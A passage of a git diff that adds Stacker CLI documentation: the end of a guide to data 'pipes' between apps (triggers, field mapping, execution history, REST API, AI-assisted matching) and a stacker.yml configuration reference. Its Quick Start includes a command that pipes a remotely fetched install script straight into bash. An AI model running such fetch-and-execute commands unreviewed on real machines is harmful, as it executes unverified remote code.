posts + fields: [id, title, content, author, date] + sample: [{"id":1,"title":{"rendered":"Hello World"},"author":42}] + POST /wp/v2/posts -- Create post + fields: [title, content, status, author] + GET /wp/v2/users -- List users + fields: [id, name, email, slug] +``` + +### 2. Create a pipe between two apps + +```bash +# Interactive wizard: scans both apps, presents endpoint picker +stacker pipe create wordpress mailchimp + +# Skip auto-matching, manual selection only +stacker pipe create wordpress mailchimp --manual +``` + +The wizard: +1. Scans both apps for endpoints (with sample capture) +2. Presents source endpoint selector +3. Presents target endpoint selector +4. Auto-matches fields using 4-layer smart matching +5. Asks for a pipe name +6. Creates a template + instance + +### 3. Activate the pipe + +```bash +# Webhook mode (default): triggers on incoming data +stacker pipe activate + +# Poll mode: checks source every N seconds +stacker pipe activate --trigger poll --poll-interval 60 + +# Manual mode: only triggers when you run `pipe trigger` +stacker pipe activate --trigger manual +``` + +### 4. Trigger manually + +```bash +# One-shot execution +stacker pipe trigger + +# With custom input data (overrides source fetch) +stacker pipe trigger --data '{"email":"test@example.com","name":"Alice"}' +``` + +### 5. View execution history + +```bash +# Show last 20 executions +stacker pipe history + +# Show more +stacker pipe history --limit 50 + +# JSON output for scripting +stacker pipe history --json +``` + +Output: +``` +EXECUTION ID TRIGGER STATUS DURATION STARTED ERROR +-------------------------------------------------------------------------------------------------------------- +a1b2c3d4-e5f6-... manual success 342ms 2026-04-10T12:00:00Z +b2c3d4e5-f6a7-... webhook success 215ms 2026-04-10T11:45:00Z +c3d4e5f6-a7b8-... poll failed 102ms 2026-04-10T11:30:00Z Connection refused + +3 execution(s) shown. +``` + +### 6. Replay a previous execution + +```bash +# Re-run using the exact same input data +stacker pipe replay +``` + +### 7. List and manage pipes + +```bash +# List all pipes for the deployment +stacker pipe list + +# Deactivate a pipe +stacker pipe deactivate +``` + +## Concepts + +### Templates vs Instances + +- **Template** - reusable pipe definition: source app type, target app type, endpoint paths, field mapping. Can be shared publicly. +- **Instance** - activation of a template tied to a deployment or local context: + - **Remote instance** — bound to a `deployment_hash`, executed via the status agent on the cloud server. + - **Local instance** — no `deployment_hash`, `is_local=true`, executed via `docker exec` against local containers. Created when `stacker target local` is active. + +### Field Mapping + +Field mapping uses JSONPath expressions to transform source data into target format: + +```json +{ + "email": "$.user_email", + "first_name": "$.display_name", + "list_id": "$.config.mailchimp_list" +} +``` + +The `pipe create` wizard uses 4-layer smart matching: + +1. **Exact name** - `email` matches `email` +2. **Case-insensitive** - `Email` matches `email` +3. **Semantic aliases** - `user_email` matches `email`, `display_name` matches `name` +4. **Type-aware suffix** - when sample data is available, `author_id` can match `user_id` (same `_id` suffix + same JSON type) + +### Trigger Types + +| Type | How it works | Use case | +|------|-------------|----------| +| `webhook` | Agent listens for HTTP events on source endpoint | Real-time sync | +| `poll` | Agent checks source endpoint every N seconds | Periodic data pull | +| `manual` | Only runs when you call `pipe trigger` | Testing, one-off transfers | +| `replay` | Re-runs a previous execution with its original input | Debugging, retry | + +### Execution History + +Every pipe trigger (manual, webhook, poll, replay) is recorded in `pipe_executions` with: + +- Full source data (what was read from source) +- Mapped data (after field transformation) +- Target response (what the target returned) +- Duration, status, error message +- Replay linkage (which execution was replayed) + +### Sample Capture + +When `--capture-samples` is enabled during scanning, the agent: + +1. **OpenAPI specs**: extracts `example` fields from response schemas (no extra HTTP calls) +2. **REST heuristic**: makes a real GET request and captures the JSON response +3. Returns sample data alongside the schema for smarter field matching + +## Examples + +### WordPress to Mailchimp (new subscriber on registration) + +```bash +# 1. Scan both services +stacker pipe scan --app wordpress --capture-samples +stacker pipe scan --app mailchimp --capture-samples + +# 2. Create the pipe +stacker pipe create wordpress mailchimp +# Select: POST /wp/v2/users -> POST /3.0/lists/{list_id}/members +# Auto-mapping: email -> $.user_email, name -> $.display_name + +# 3. Activate with webhook trigger +stacker pipe activate --trigger webhook + +# 4. Check it's working +stacker pipe history +``` + +### CRM to Slack (notify on new contact) + +```bash +stacker pipe create crm slack +# Select: POST /api/contacts -> POST /api/chat.postMessage +# Mapping: text -> "New contact: $.name ($.email)" + +stacker pipe activate --trigger webhook +``` + +### Periodic data sync (poll mode) + +```bash +stacker pipe create analytics dashboard +# Select: GET /api/metrics -> POST /api/widgets/update + +# Poll every 5 minutes +stacker pipe activate --trigger poll --poll-interval 300 +``` + +### Debugging a failed pipe + +```bash +# See what happened +stacker pipe history --json | jq '.[0]' + +# Replay the failed execution to retry +stacker pipe replay + +# Or trigger with custom test data +stacker pipe trigger --data '{"email":"debug@test.com"}' +``` + +## REST API Reference + +All endpoints require authentication. Pipe instance access is verified through deployment ownership. + +### Templates + +| Method | Path | Description | +|--------|------|-------------| +| POST | `/api/v1/pipes/templates` | Create template | +| GET | `/api/v1/pipes/templates` | List templates (own + public) | +| GET | `/api/v1/pipes/templates/{id}` | Get template | +| DELETE | `/api/v1/pipes/templates/{id}` | Delete template | + +### Instances + +| Method | Path | Description | +|--------|------|-------------| +| POST | `/api/v1/pipes/instances` | Create instance (`deployment_hash` optional for local) | +| GET | `/api/v1/pipes/instances/{deployment_hash}` | List instances for deployment | +| GET | `/api/v1/pipes/instances/local` | List local instances for current user | +| GET | `/api/v1/pipes/instances/detail/{id}` | Get instance | +| PUT | `/api/v1/pipes/instances/{id}/status` | Update status (draft/active/paused/error) | +| POST | `/api/v1/pipes/instances/{id}/deploy` | Promote local instance to remote deployment | +| DELETE | `/api/v1/pipes/instances/{id}` | Delete instance | + +### Executions + +| Method | Path | Description | +|--------|------|-------------| +| GET | `/api/v1/pipes/instances/{id}/executions?limit=20&offset=0` | List executions (paginated) | +| GET | `/api/v1/pipes/executions/{id}` | Get single execution | +| POST | `/api/v1/pipes/executions/{id}/replay` | Replay execution | + +### Agent Commands + +| Command | Direction | Description | +|---------|-----------|-------------| +| `probe_endpoints` | Server -> Agent | Discover API endpoints for an app, optionally narrowed to a container | +| `activate_pipe` | Server -> Agent | Start webhook listener or poll scheduler | +| `deactivate_pipe` | Server -> Agent | Stop listener/scheduler | +| `trigger_pipe` | Server -> Agent | One-shot pipe execution | + +## Data Flow + +``` +[pipe trigger] + | + v +Server enqueues "trigger_pipe" command + | + v +Agent picks up command from queue + | + v +Agent fetches source data (GET source_endpoint) + | + v +Agent applies field_mapping (JSONPath transform) + | + v +Agent sends mapped data to target (POST target_endpoint) + | + v +Agent reports result: {success, source_data, mapped_data, target_response} + | + v +Server persists result in pipe_executions table +Server increments trigger_count (and error_count if failed) +``` + +## AI-Assisted Matching + +Stacker supports two field matching modes when creating pipes: + +### Deterministic Mode (default) +The original 4-layer matching algorithm: +1. **Exact match** — identical field names +2. **Case-insensitive** — `Email` matches `email` +3. **Semantic aliases** — `mail` matches `email` (from built-in alias groups) +4. **Type-aware suffix** — `user_email` matches `email` (strips common prefixes) + +Always available, works offline, returns confidence=1.0 for all matches. + +### AI Mode +Uses the configured LLM provider (OpenAI, Anthropic, or Ollama) for semantic matching: +- Understands field semantics beyond string patterns (e.g., `wp_author_contact` → `subscriber_email`) +- Returns per-field confidence scores (0.0–1.0) +- Suggests field transformations (e.g., `concat($.first_name, ' ', $.last_name)` → `full_name`) +- Proposes which pipe connections make sense between two apps +- Falls back to deterministic matching if AI call fails + +### Mode Selection + +| Condition | Mode Used | +|-----------|-----------| +| `--no-ai` flag | Deterministic | +| `--ai` flag | AI (error if not configured) | +| `ai.enabled=true` in `stacker.yml` | AI | +| No AI config | Deterministic | +| `--manual` flag | No auto-matching (manual selection only) | + +### CLI Flags + +```bash +# Use AI matching (requires ai: section in stacker.yml) +stacker pipe create wordpress slack --ai + +# Force deterministic matching even if AI is configured +stacker pipe create wordpress slack --no-ai + +# Skip auto-matching entirely +stacker pipe create wordpress slack --manual +``` + +### Configuration + +AI matching uses the same `ai:` section in `stacker.yml` as other AI features: + +```yaml +ai: + enabled: true + provider: openai # openai | anthropic | ollama + model: gpt-4o + api_key: sk-... + # endpoint: http://localhost:11434 # for Ollama +``` + +When AI mode is active during pipe creation: +1. Both apps are scanned for endpoints (unchanged) +2. AI suggests which endpoint pairs to connect (ranked by confidence) +3. User selects from AI suggestions or picks manually +4. AI matches fields between selected endpoints with confidence scores +5. User confirms or edits the mapping +6. Matching metadata (mode, model, confidence, transformations) is stored in the template config diff --git a/stacker/stacker/docs/STACKER_YML_REFERENCE.md b/stacker/stacker/docs/STACKER_YML_REFERENCE.md new file mode 100644 index 0000000..4410824 --- /dev/null +++ b/stacker/stacker/docs/STACKER_YML_REFERENCE.md @@ -0,0 +1,1650 @@ +# stacker.yml Configuration Reference + +> **Stacker CLI v0.2.6** — The single-file deployment configuration for containerised applications. + +`stacker.yml` is the only file you need to add to your project. Stacker reads it to auto-generate Dockerfiles, docker-compose definitions, and deploy your application locally or to cloud infrastructure. + +--- + +## Table of Contents + +- [Quick Start](#quick-start) +- [Minimal Example](#minimal-example) +- [Full Example](#full-example) +- [Top-Level Fields](#top-level-fields) + - [name](#name) · [version](#version) · [organization](#organization) +- [app — Application Source](#app) + - [type](#apptype) · [path](#apppath) · [dockerfile](#appdockerfile) · [image](#appimage) · [build](#appbuild) · [ports](#appports) · [volumes](#appvolumes) · [environment](#appenvironment) +- [services — Sidecar Containers](#services) +- [proxy — Reverse Proxy](#proxy) + - [type](#proxytype) · [auto_detect](#proxyauto_detect) · [domains](#proxydomains) · [config](#proxyconfig) +- [deploy — Deployment Target](#deploy) + - [target](#deploytarget) · [compose_file](#deploycompose_file) · [cloud](#deploycloud) · [server](#deployserver) +- [ai — AI Assistant](#ai) +- [monitoring — Health & Metrics](#monitoring) + - [status_panel](#monitoringstatus_panel) · [healthcheck](#monitoringhealthcheck) · [metrics](#monitoringmetrics) +- [hooks — Lifecycle Scripts](#hooks) +- [env / env_file — Environment Variables](#env--env_file) +- [Environment Variable Interpolation](#environment-variable-interpolation) +- [Auto-Detection](#auto-detection) +- [Generated Dockerfiles](#generated-dockerfiles) +- [Validation Rules](#validation-rules) +- [CLI Commands Reference](#cli-commands-reference) + - [SSH Key Management](#stacker-ssh-key--ssh-key-management) + - [Service Template Catalog](#stacker-service--service-template-catalog) + - [Agent Control](#stacker-agent--agent-control) + - [Firewall Management](#firewall-management) +- [Recipes](#recipes) +- [FAQ](#faq) + +--- + +## Quick Start + +```bash +# 1. Install stacker +curl -fsSL https://stacker.try.direct/install.sh | bash + +# 2. Initialize in your project directory +cd my-project +stacker init + +# 3. Review the generated config +cat stacker.yml + +# 4. Deploy locally +stacker deploy --target local + +# 5. Check status +stacker status +``` + +--- + +## Minimal Example + +The smallest valid `stacker.yml`: + +```yaml +name: my-app +app: + type: static + path: ./public +deploy: + target: local +``` + +This tells Stacker to: +1. Generate an nginx-based Dockerfile serving static files from `./public` +2. Create a docker-compose.yml with the app service +3. Deploy locally via `docker compose up` + +--- + +## Full Example + +A production-ready configuration using all available sections: + +```yaml +name: my-saas-app +version: "2.0" +organization: acme-corp + +app: + type: node + path: ./src + ports: + - "8080:3000" + environment: + NODE_ENV: production + build: + context: . + args: + NODE_ENV: production + +services: + - name: postgres + image: postgres:16 + ports: + - "5432:5432" + environment: + POSTGRES_DB: myapp + POSTGRES_USER: app + POSTGRES_PASSWORD: ${DB_PASSWORD} + volumes: + - pgdata:/var/lib/postgresql/data + + - name: redis + image: redis:7-alpine + ports: + - "6379:6379" + + - name: worker + image: myapp-worker:latest + depends_on: + - postgres + - redis + environment: + REDIS_URL: redis://redis:6379 + +proxy: + type: nginx + auto_detect: true + domains: + - domain: app.example.com + ssl: auto + upstream: app:3000 + - domain: api.example.com + ssl: auto + upstream: app:3000 + +deploy: + target: cloud + cloud: + provider: hetzner + region: fsn1 + size: cx23 + ssh_key: ~/.ssh/id_ed25519 + +ai: + enabled: true + provider: ollama + model: llama3 + endpoint: http://localhost:11434 + timeout: 600 + tasks: + - dockerfile + - troubleshoot + +monitoring: + status_panel: true + healthcheck: + endpoint: /health + interval: 30s + metrics: + enabled: true + telegraf: true + +hooks: + pre_build: ./scripts/pre-build.sh + post_deploy: ./scripts/post-deploy.sh + on_failure: ./scripts/notify-failure.sh + +env_file: .env + +env: + APP_PORT: "3000" + LOG_LEVEL: info + NODE_ENV: production +``` + +--- + +## Top-Level Fields + +### `name` + +**Required** · `string` · Max 128 characters + +The project name. Used as the docker-compose project name, container name prefix, and displayed in status output. + +```yaml +name: my-awesome-app +``` + +### `version` + +*Optional* · `string` · Default: none + +A version label for the configuration. Informational only — does not affect behaviour. + +```yaml +version: "1.0" +``` + +### `organization` + +*Optional* · `string` · Default: none + +Organisation slug. Used for scoping cloud deployments and linking to your TryDirect account. + +```yaml +organization: acme-corp +``` + +--- + +## `app` + +**Application source configuration.** Tells Stacker what kind of app you're building and where the source code lives. + +### `app.type` + +*Optional* · `enum` · Default: `static` + +The application framework/runtime. Determines which Dockerfile template is generated. + +| Value | Description | Default Base Image | Default Port | +|-------|-------------|-------------------|--------------| +| `static` | Static HTML/CSS/JS site | `nginx:alpine` | 80 | +| `node` | Node.js application | `node:20-alpine` | 3000 | +| `python` | Python application | `python:3.12-slim` | 8000 | +| `rust` | Rust application | `rust:1.77-alpine` | 8080 | +| `go` | Go application | `golang:1.22-alpine` | 8080 | +| `php` | PHP application | `php:8.3-fpm-alpine` | 9000 | +| `custom` | User-provided Dockerfile | — | — | + +```yaml +app: + type: node +``` + +> **Tip:** If you omit `type`, Stacker auto-detects it from your project files. +> See [Auto-Detection](#auto-detection). + +### `app.path` + +*Optional* · `string` (path) · Default: `.` + +Path to the application source directory, relative to the `stacker.yml` location. + +```yaml +app: + path: ./src +``` + +### `app.dockerfile` + +*Optional* · `string` (path) · Default: none + +Path to a custom Dockerfile. When set, Stacker uses your Dockerfile instead of generating one. Requires `type: custom` or will override the generated template. + +```yaml +app: + type: custom + dockerfile: ./docker/Dockerfile.prod +``` + +### `app.image` + +*Optional* · `string` · Default: none + +Use a pre-built Docker image instead of building from source. Mutually exclusive with `dockerfile` and auto-generation. + +```yaml +app: + type: custom + image: ghcr.io/myorg/myapp:latest +``` + +### `app.build` + +*Optional* · `object` · Default: none + +Docker build configuration. Controls the build context and build arguments passed to `docker build`. + +| Field | Type | Default | Description | +|-------|------|---------|-------------| +| `context` | `string` | `.` | Build context directory | +| `args` | `map` | `{}` | Build arguments (`--build-arg`) | + +```yaml +app: + type: node + build: + context: . + args: + NODE_ENV: production + API_URL: https://api.example.com +``` + +### `app.ports` + +*Optional* · `string[]` · Default: `[]` (auto-derived from `type`) + +Explicit port mappings for the main app container in `"host:container"` format. When omitted, Stacker derives a default port from `app.type` (e.g. node → 3000, python → 8000). + +```yaml +app: + type: node + ports: + - "8080:3000" + - "9229:9229" # Node debugger +``` + +### `app.volumes` + +*Optional* · `string[]` · Default: `[]` + +Volume mounts for the main app container. Supports bind mounts (`./host:/container`) and named volumes (`name:/path`). + +```yaml +app: + type: node + volumes: + - "./uploads:/app/uploads" + - "app_cache:/app/.cache" +``` + +### `app.environment` + +*Optional* · `map` · Default: `{}` + +Per-app environment variables. Merged with the top-level `env:` section — app-level values take precedence on conflict. Supports `${VAR}` interpolation. + +```yaml +app: + type: node + environment: + NODE_ENV: production + DATABASE_URL: postgres://app:${DB_PASSWORD}@postgres:5432/myapp +``` + +--- + +## `services` + +*Optional* · `array` · Default: `[]` + +Additional containers deployed alongside your main application — databases, caches, message queues, workers, etc. Each entry maps directly to a service in the generated `docker-compose.yml`. + +### Service Definition Fields + +| Field | Type | Required | Default | Description | +|-------|------|----------|---------|-------------| +| `name` | `string` | **yes** | — | Service name (used as container/hostname) | +| `image` | `string` | **yes** | — | Docker image reference | +| `ports` | `string[]` | no | `[]` | Port mappings (`"host:container"`) | +| `environment` | `map` | no | `{}` | Environment variables | +| `volumes` | `string[]` | no | `[]` | Volume mounts (`"name:/path"` or `"./host:/container"`) | +| `depends_on` | `string[]` | no | `[]` | Services this depends on (started first) | + +```yaml +services: + - name: postgres + image: postgres:16 + ports: + - "5432:5432" + environment: + POSTGRES_DB: myapp + POSTGRES_PASSWORD: ${DB_PASSWORD} + volumes: + - pgdata:/var/lib/postgresql/data + + - name: redis + image: redis:7-alpine + ports: + - "6379:6379" + + - name: minio + image: minio/minio:latest + ports: + - "9000:9000" + - "9001:9001" + environment: + MINIO_ROOT_USER: admin + MINIO_ROOT_PASSWORD: ${MINIO_PASSWORD} + volumes: + - minio-data:/data +``` + +> **Note:** Stacker detects port conflicts across services during validation. +> If two services bind the same host port, you'll get a warning (`W001`). + +--- + +## `proxy` + +*Optional* · `object` · Default: `type: none, auto_detect: true` + +Reverse proxy configuration. Stacker can auto-detect a running proxy or generate configuration for one. + +### `proxy.type` + +*Optional* · `enum` · Default: `none` + +| Value | Description | +|-------|-------------| +| `nginx` | Standard Nginx reverse proxy | +| `nginx-proxy-manager` | Nginx Proxy Manager (NPM) with web UI | +| `traefik` | Traefik reverse proxy with auto-discovery | +| `none` | No proxy configured | + +```yaml +proxy: + type: nginx +``` + +### `proxy.auto_detect` + +*Optional* · `bool` · Default: `true` + +When enabled, Stacker scans running Docker containers for an existing reverse proxy before deploying. If found, it connects your app to the existing proxy instead of creating a new one. + +Detection checks for these container images (in priority order): +1. `jc21/nginx-proxy-manager` / `nginx-proxy-manager` → `nginx-proxy-manager` +2. `traefik` → `traefik` +3. `nginx` → `nginx` + +```yaml +proxy: + auto_detect: false # Don't look for existing proxies +``` + +### `proxy.domains` + +*Optional* · `array` · Default: `[]` + +Domain routing rules. Each entry generates a proxy virtual host configuration. + +| Field | Type | Required | Default | Description | +|-------|------|----------|---------|-------------| +| `domain` | `string` | **yes** | — | Domain name (e.g. `app.example.com`) | +| `upstream` | `string` | **yes** | — | Backend address (e.g. `app:3000`, `http://web:8080`) | +| `ssl` | `enum` | no | `off` | SSL certificate mode | + +**SSL modes:** + +| Value | Description | +|-------|-------------| +| `auto` | Automatic certificate provisioning (Let's Encrypt) | +| `manual` | Use manually provided certificates | +| `off` | No SSL (HTTP only) | + +```yaml +proxy: + type: nginx + domains: + - domain: app.example.com + ssl: auto + upstream: app:3000 + + - domain: api.example.com + ssl: auto + upstream: app:3000 + + - domain: staging.example.com + ssl: off + upstream: app:3000 +``` + +### `proxy.config` + +*Optional* · `string` (path) · Default: none + +Path to a custom proxy configuration file. When set, Stacker uses your config instead of generating one. + +```yaml +proxy: + type: nginx + config: ./nginx/custom.conf +``` + +--- + +## `deploy` + +**Deployment target configuration.** Controls where and how your stack is deployed. + +### `deploy.target` + +*Optional* · `enum` · Default: `local` + +| Value | Description | +|-------|-------------| +| `local` | Deploy on the local machine via `docker compose` | +| `cloud` | Provision cloud infrastructure and deploy (requires `deploy.cloud`) | +| `server` | Deploy to an existing remote server via SSH (requires `deploy.server`) | + +```yaml +deploy: + target: local +``` + +> **Pipe mode**: The `deploy.target` value also affects how `stacker pipe` commands behave. When target is `local`, pipes are created without a `deployment_hash` and execute against local Docker containers (`docker exec`). Use `stacker target` to switch modes at runtime without editing `stacker.yml`. See the [DAG Pipes CLI Guide — Local Mode](./DAG_PIPES_PART1_CLI_GUIDE.md#local-mode-experimental) for details. + +### `deploy.compose_file` + +*Optional* · `string` (path) · Default: none + +Use a custom docker-compose file instead of the auto-generated one. Stacker will skip generation and use this file directly. + +```yaml +deploy: + target: local + compose_file: ./docker-compose.prod.yml +``` + +### `deploy.cloud` + +*Required when `target: cloud`* · `object` + +Cloud infrastructure provisioning settings. Stacker uses Terraform/Ansible under the hood to create servers and deploy your stack. + +| Field | Type | Required | Default | Description | +|-------|------|----------|---------|-------------| +| `provider` | `enum` | **yes** | — | Cloud provider | +| `region` | `string` | no | Provider default | Data center region | +| `size` | `string` | no | Provider default | Server size/type | +| `ssh_key` | `string` (path) | no | none | Path to SSH private key | + +**Supported cloud providers:** + +| Value | Provider | Example Regions | Example Sizes | +|-------|----------|----------------|---------------| +| `hetzner` | Hetzner Cloud | `fsn1`, `nbg1`, `hel1` | `cx23`, `cx33`, `cx43` | +| `digitalocean` | DigitalOcean | `nyc1`, `sfo3`, `ams3` | `s-1vcpu-1gb`, `s-2vcpu-4gb` | +| `aws` | Amazon Web Services | `us-east-1`, `eu-west-1` | `t3.micro`, `t3.small` | +| `linode` | Linode (Akamai) | `us-east`, `eu-west` | `g6-nanode-1`, `g6-standard-2` | +| `vultr` | Vultr | `ewr`, `lhr`, `fra` | `vc2-1c-1gb`, `vc2-2c-4gb` | + +```yaml +deploy: + target: cloud + cloud: + provider: hetzner + region: fsn1 + size: cx23 + ssh_key: ~/.ssh/id_ed25519 +``` + +> **Important:** Cloud deployment requires authentication. +> Run `stacker login` first to store your TryDirect credentials. + +### `deploy.server` + +*Required when `target: server`* · `object` + +Remote server settings for deploying to an existing machine via SSH. + +| Field | Type | Required | Default | Description | +|-------|------|----------|---------|-------------| +| `host` | `string` | **yes** | — | Server hostname or IP address | +| `user` | `string` | no | `root` | SSH username | +| `ssh_key` | `string` (path) | no | none | Path to SSH private key | +| `port` | `integer` | no | `22` | SSH port | + +```yaml +deploy: + target: server + server: + host: 203.0.113.42 + user: deploy + ssh_key: ~/.ssh/deploy_key + port: 22 +``` + +### `deploy.registry` + +*Optional* · `object` + +Docker registry credentials for pulling private images during cloud/server deployment. When provided, `docker login` is executed on the target server before `docker compose pull`. + +Credentials can be specified in `stacker.yml` or via environment variables. Environment variables take precedence. + +For deployments managed by the Status agent, Stacker also persists this auth in +its trusted secret storage and reuses it for later image refreshes such as +`stacker agent deploy-app`. The agent performs the pull with a temporary Docker +auth directory and immediate cleanup, so private-image redeploys do not depend +on whatever `docker login` state happens to exist on the host. If no stored +registry auth exists, Stacker keeps the current anonymous-pull behavior and may +still redeploy successfully when the image is already cached locally. + +| Field | Type | Required | Default | Description | +|-------|------|----------|---------|-------------| +| `username` | `string` | **yes** | — | Registry username | +| `password` | `string` | **yes** | — | Registry password or access token | +| `server` | `string` | no | Docker Hub | Registry server URL | + +**Environment variables** (override `stacker.yml` values): + +| Variable | Fallback | Description | +|----------|----------|-------------| +| `STACKER_DOCKER_USERNAME` | `DOCKER_USERNAME` | Registry username | +| `STACKER_DOCKER_PASSWORD` | `DOCKER_PASSWORD` | Registry password | +| `STACKER_DOCKER_REGISTRY` | `DOCKER_REGISTRY` | Registry server URL | + +```yaml +deploy: + target: cloud + cloud: + provider: hetzner + region: fsn1 + size: cx23 + registry: + username: "${DOCKER_USERNAME}" + password: "${DOCKER_PASSWORD}" + # server: "docker.io" # Docker Hub (default) +``` + +> **Security tip:** Use environment variables or `${VAR}` syntax to keep credentials out of version control. + +--- + +## `ai` + +*Optional* · `object` · Default: `enabled: false` + +AI/LLM assistant configuration. When enabled, `stacker ai ask` uses the configured provider to answer questions about your Dockerfile, docker-compose, and deployment. + +| Field | Type | Required | Default | Description | +|-------|------|----------|---------|-------------| +| `enabled` | `bool` | no | `false` | Enable AI features | +| `provider` | `enum` | no | `openai` | LLM provider | +| `model` | `string` | no | Provider default | Model name | +| `api_key` | `string` | no* | none | API key (supports `${VAR}` syntax) | +| `endpoint` | `string` | no | Provider default | Custom API endpoint URL | +| `timeout` | `integer` | no | `300` | Request timeout in seconds (increase for slow models / weak hardware) | +| `tasks` | `string[]` | no | `[]` | Allowed AI task types | + +**Supported providers:** + +| Value | Provider | Default Endpoint | Requires API Key | +|-------|----------|-----------------|------------------| +| `openai` | OpenAI | `https://api.openai.com/v1` | Yes | +| `anthropic` | Anthropic | `https://api.anthropic.com/v1` | Yes | +| `ollama` | Ollama (local) | `http://localhost:11434` | No | +| `custom` | Any OpenAI-compatible API | Must specify `endpoint` | Varies | + +**Task types** (used for prompt specialisation): +- `dockerfile` — Dockerfile optimisation and generation +- `troubleshoot` — Debugging deployment issues +- `compose` — docker-compose configuration help +- `security` — Security review and hardening + +```yaml +# Using OpenAI +ai: + enabled: true + provider: openai + model: gpt-4 + api_key: ${OPENAI_API_KEY} + tasks: + - dockerfile + - troubleshoot + +# Using local Ollama +ai: + enabled: true + provider: ollama + model: llama3 + endpoint: http://localhost:11434 + timeout: 600 # 10 minutes for large models on slower hardware + +# Using a custom OpenAI-compatible API (e.g. Groq, Together AI) +ai: + enabled: true + provider: custom + model: mixtral-8x7b-32768 + api_key: ${GROQ_API_KEY} + endpoint: https://api.groq.com/openai/v1 +``` + +--- + +## `monitoring` + +*Optional* · `object` · Default: `status_panel: false` + +Monitoring and health check configuration. + +### `monitoring.status_panel` + +*Optional* · `bool` · Default: `false` + +Enable the Stacker status panel — a web UI showing container health, resource usage, and deployment status. + +```yaml +monitoring: + status_panel: true +``` + +If you install the agent later with `stacker agent install`, the CLI does **not** modify local +`stacker.yml` by default. Pass `--persist-config` to also write +`monitoring.status_panel: true` back into the local config file. + +### `monitoring.healthcheck` + +*Optional* · `object` · Default: none + +Application health check settings. + +| Field | Type | Default | Description | +|-------|------|---------|-------------| +| `endpoint` | `string` | `/health` | HTTP path to probe | +| `interval` | `string` | `30s` | Time between checks | + +```yaml +monitoring: + healthcheck: + endpoint: /api/health + interval: 15s +``` + +### `monitoring.metrics` + +*Optional* · `object` · Default: none + +Metrics collection settings. + +| Field | Type | Default | Description | +|-------|------|---------|-------------| +| `enabled` | `bool` | `false` | Enable metrics collection | +| `telegraf` | `bool` | `false` | Deploy Telegraf agent for metrics | + +```yaml +monitoring: + metrics: + enabled: true + telegraf: true +``` + +--- + +## `hooks` + +*Optional* · `object` · Default: none + +Lifecycle hook scripts. Stacker runs these at specific points during the build and deploy process. + +| Field | Type | Description | When it runs | +|-------|------|-------------|------| +| `pre_build` | `string` (path) | Script to run before Docker build | Before `docker build` | +| `post_deploy` | `string` (path) | Script to run after successful deployment | After `docker compose up` succeeds | +| `on_failure` | `string` (path) | Script to run on deployment failure | When any deploy step fails | + +```yaml +hooks: + pre_build: ./scripts/pre-build.sh + post_deploy: ./scripts/seed-database.sh + on_failure: ./scripts/alert-team.sh +``` + +> Hook scripts must be executable (`chmod +x`). + +--- + +## `env` / `env_file` + +### `env` + +*Optional* · `map` · Default: `{}` + +Inline environment variables passed to all containers. Supports `${VAR}` interpolation. + +```yaml +env: + APP_PORT: "3000" + LOG_LEVEL: info + DATABASE_URL: postgres://app:${DB_PASSWORD}@postgres:5432/myapp +``` + +### `env_file` + +*Optional* · `string` (path) · Default: none + +Path to a `.env` file. Loaded before the config is parsed, so variables defined here can be referenced with `${VAR}` syntax anywhere in `stacker.yml`. + +```yaml +env_file: .env +``` + +Example `.env`: +``` +DB_PASSWORD=s3cret +MINIO_PASSWORD=admin123 +OPENAI_API_KEY=sk-... +``` + +For remote deployments, Stacker renders the effective runtime env to the +canonical host path `/home/trydirect/project/.env`. Generated compose files +reference it as `env_file: .env`, relative to `docker-compose.yml`. + +Top-level `env_file` is a Stacker config input: it is loaded before +`stacker.yml` is parsed so `${VAR}` placeholders can be resolved. It does not +automatically inject variables into a container. Container injection is still +controlled by Docker Compose `env_file` entries under each compose service. + +For app-only remote updates, `stacker agent deploy-app ` resolves the +environment/profile from `--env`, then `.stacker/active-env`, then +`deploy.environment`. If `/docker//compose.yml` exists, Stacker uses +the app-local service definition for that app and resolves its `env_file` +entries relative to that compose file, then merges the service definition back +into the full project-level compose before sending it to the agent. This keeps +other services in the remote `docker-compose.yml` intact without requiring +env/config files referenced only by unrelated project-level services. A +service-local file such as `/docker/prod/.env` is uploaded to the remote +config bundle, and Vault-rendered service secrets for that app are appended to +that same remote `.env` before the Status agent writes it. When the same target +is updated again, Stacker refreshes the existing `# stacker-render ...` block +instead of duplicating prior rendered secret sections. If Stacker cannot render +the target runtime env, command creation fails instead of deploying a raw +app-local `.env` without the remote secrets. + +The rendered runtime env is built from these layers, lowest to highest: + +1. Base app env and local authoring inputs. +2. Server-scope secrets, only for services that opt in with + `inherit_server_secrets: true`. +3. Service-scope secrets for the selected service/app target. +4. Compose `environment:` keys, which Docker Compose applies above `env_file`. + +User-provided runtime env keys must match `^[A-Z_][A-Z0-9_]*$`. Keys beginning +with `STACKER_`, `DOCKER_`, `VAULT_`, or `AGENT_` are reserved and rejected. +Use `stacker config show --resolved` to inspect the local env source path, +remote runtime path, config hash/version metadata, and contributing layers +without printing secret values. + +--- + +## Environment Variable Interpolation + +Any value in `stacker.yml` can reference environment variables using `${VAR_NAME}` syntax. Variables are resolved from the process environment at parse time. + +```yaml +name: ${PROJECT_NAME} +app: + type: node +services: + - name: postgres + image: postgres:${PG_VERSION} + environment: + POSTGRES_PASSWORD: ${DB_PASSWORD} +deploy: + target: cloud + cloud: + provider: ${CLOUD_PROVIDER} +ai: + api_key: ${OPENAI_API_KEY} +``` + +**Rules:** +- Syntax: `${VARIABLE_NAME}` (curly braces required) +- Undefined variables cause a parse error (fail-fast, no silent empty strings) +- Interpolation happens before YAML parsing +- Works in all string values including paths, URLs, and map values + +--- + +## Auto-Detection + +When you run `stacker init` without specifying `--app-type`, Stacker scans the workspace and looks for these marker files: + +| Files Found | Detected Type | +|-------------|---------------| +| `package.json` | `node` | +| `requirements.txt`, `Pipfile`, `pyproject.toml`, `setup.py` | `python` | +| `Cargo.toml` | `rust` | +| `go.mod` | `go` | +| `composer.json` | `php` | +| `index.html`, `*.html` | `static` | + +Detection priority is top-to-bottom. If none of these files are found, it defaults to `custom`. + +For monorepo-style projects, `stacker init` now: + +- Recursively scans nested directories for app candidates with marker files and/or Dockerfiles +- Detects aggregate Docker Compose stacks, including `include:` chains +- Selects one primary app for the generated `app:` section +- Reuses a detected aggregate compose file by setting `deploy.compose_file` +- Imports image-backed compose sidecars into the generated `services:` list +- Emits warning comments when scan data suggests a required local bootstrap asset or generator is missing + +Build-only compose services are still reported in the generated file comments, but they are not +imported into `services:` because the current schema requires an explicit `image`. + +--- + +## Generated Dockerfiles + +When you run `stacker deploy`, Stacker generates a Dockerfile in `.stacker/Dockerfile` based on `app.type`. Here's what each template produces: + +### `static` 